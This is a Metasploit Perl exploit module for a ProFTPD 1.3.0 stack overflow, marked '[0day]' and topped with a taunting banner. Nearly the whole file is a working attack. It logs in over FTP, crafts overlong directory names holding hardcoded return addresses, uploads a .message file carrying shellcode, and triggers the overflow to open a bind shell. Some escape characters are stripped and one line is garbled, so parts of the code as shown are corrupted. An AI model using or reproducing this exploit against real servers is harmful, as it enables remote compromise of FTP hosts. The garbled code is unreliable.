##########################################
#Lusovista.com sucks, by calejo and Rewtor
##########################################
use strict;
package Msf::Exploit::vd_proftpd;
use base "Msf::Exploit";
use Pex::Text;
my $advanced = { };
my $info =
{
"Name" => "[0day] ProFTPD 1.3.0 stack overflow",
"Version" => "$Revision: 1.1 $",
"Authors" => ["Evgeny Legerov"],
"Arch" => ["x86"],
"OS" => ["linux"],
"Priv" => 1,
"UserOpts" =>
{
"RHOST" => [1, "ADDR", "The target address"],
"RPORT" => [1, "PORT", "The target port", 21],
"USER" => [1, "DATA", "Username", "ftp"],
"PASS" => [1, "DATA", "Password", "ftp123"],
"DIR" => [0, "DATA", "Writeable directory", ""],
},
"Description" => Pex::Text::Freeform(q{
Linux não tem virus pq ninguem o usa.
}),
"Payload" =>
{
"Space" => 900,
"Keys" => ["+bind"],
"BadChars" => "%rnx00"
},
"DefaultTarget" => 0,
"Targets" =>
[
["ProFTPD 1.3.0 (source install) / Debian 3.1",
# objdump -D proftpd|grep call|grep edx
0x804afc8,
# nm proftpd|grep permanent_pool
0x80b59f8
]
],
"Keys" => ["vd_proftpd"],
};
sub new {
my $class = shift;
return $class->SUPER::new({"Info" => $info, "Advanced" => $advanced}, @_);
}
sub Exploit {
my $self = shift;
my $host = $self->GetVar("RHOST");
my $port = $self->GetVar("RPORT");
my $writedir = $self->GetVar("DIR");
my $bind_port = $self->GetVar("LPORT");
my $target = $self->Targets->[$self->GetVar("TARGET")];
my $encodedPayload = $self->GetVar("EncodedPayload");
my $shellcode = $encodedPayload->Payload;
my $sock = Msf::Socket::Tcp->new("PeerAddr" => $host, "PeerPort" => $port);
if ($sock->IsError) {
$self->PrintLine("Error creating socket: " . $sock->GetError);
return;
}
my $res = $sock->Recv(-1, 20);
if (!$res) {
$self->PrintLine("The service did not return a valid banner");
return;
}
$self->PrintLine("Banner: ". $self->CleanData($res));
$sock->Send("USER ". $self->GetVar(\\'USER\\') ."rn");
$res = $sock->Recv(-1, 20);
$self->PrintLine("USER response: ". $self->CleanData($res));
if ($res !~ /^331/) {
$sock->Close;
return;
}
$sock->Send("PASS ". $self->GetVar(\\'PASS\\') ."rn");
$res = $sock->Recv(-1, 20);
$self->PrintLine("PASS response: ". $self->CleanData($res));
if ($res !~ /^230/) {
$sock->Close;
return;
}
if (length($writedir) > 0) {
$sock->Send("CWD $writedirrn");
$res = $sock->Recv(-1, 20);
$self->PrintLine("CWD response: " . $self->CleanData($res));
}
my $current_dir = "";
$sock->Send("PWDrn");
$res = $sock->Recv(-1, 20);
$current_dir = $1 if ($res =~ /257s"(.+)"/);
$current_dir .= "/" if (substr($current_dir, -1, 1) ne "/");
$self->PrintLine("Current directory: $current_dir");
my $dir1 = "A" x (251 - length($current_dir));
$self->PrintLine(sprintf "Dir1 length is %d bytes", length($dir1));
$sock->Send("MKD $dir1rn");
$res = $sock->Recv(-1, 20);
$self->PrintLine("MKD response: " . $self->CleanData($res));
$sock->Send("CWD $dir1rn");
$res = $sock->Recv(-1,20);
$self->PrintLine("CWD response: " . $self->CleanData($res));
$sock->Send("PWDrn");
$res = $sock->Recv(-1, 20);
$self->PrintLine("PWD response: " . $self->CleanData($res));
my $dir2 = "B" x 64;
$dir2 .= pack("V", $target->[1]);
$dir2 .= pack("V", $target->[2] - 4);
$dir2 .= "xcc" x 28;
$self->PrintLine(sprintf "Dir2 length is %d bytes", length($dir2));
$sock->Send("DELE " . $dir2 . "/.messagern");
$sock->Recv(-1, 20);
$sock->Send("DELE " . $dir2 . "/250rn");
$sock->Recv(-1, 20);
$sock->Send("RMD $dir2rn");
$sock->Recv(-1, 20);
$sock->Send("MKD $dir2rn");
$res = $sock->Recv(-1, 20);
$self->PrintLine("MKD response: " . $self->CleanData($res));
# Upload .message file
$sock->Send("TYPE Irn");
$sock->Recv(-1, 20);
$sock->Send("PASVrn");
$res = $sock->Recv(-1, 20);
if ($res !~ /^227/) {
$self->PrintLine("Incorrect response to PASV command: " . $self->CleanData($res));
return;
}
$self->PrintLine("PASV response: " . $self->CleanData($res));
$res =~ /((d+),(d+),(d+),(d+),(d+),(d+)/;
my $datahost = "$1.$2.$3.$4";
my $dataport = (int($5) <<8>PrintLine("Opening connection to $datahost:$dataport");
my $datasock = Msf::Socket::Tcp->new("PeerAddr" => $datahost, "PeerPort" => $dataport);
if ($datasock->IsError) {
$self->PrintLine("Error creating socket: " . $datasock->GetError);
return;
}
$sock->Send("STOR $dir2/.messagern");
$res = $sock->Recv(-1, 20);
$self->PrintLine("STOR response: " . $self->CleanData($res));
my $filedata = "";
$filedata .= "A";
$filedata .= "x66x81xc2x5ex13x52xc3"; # add $0x135e, %dx; push %edx; ret
$filedata .= "%C" x 11;
$filedata .= "A";
$filedata .= $shellcode;
$filedata .= "A" x (900 - length($shellcode));
$filedata .= "%CA" x 10;
$datasock->Send($filedata);
$datasock->Close();
$res = $sock->Recv(-1, 20);
$self->PrintLine("FILE transfered: " . $self->CleanData($res));
# Trigger sreplace overflow
$sock->Send("CWD $dir2rn");
$sock->Recv(-1,20);
sleep(3);
$sock->Close();
}
sub CleanData {
my $self = shift;
my $data = shift;
$data =~ s/r|n//g;
return $data;
}
__END__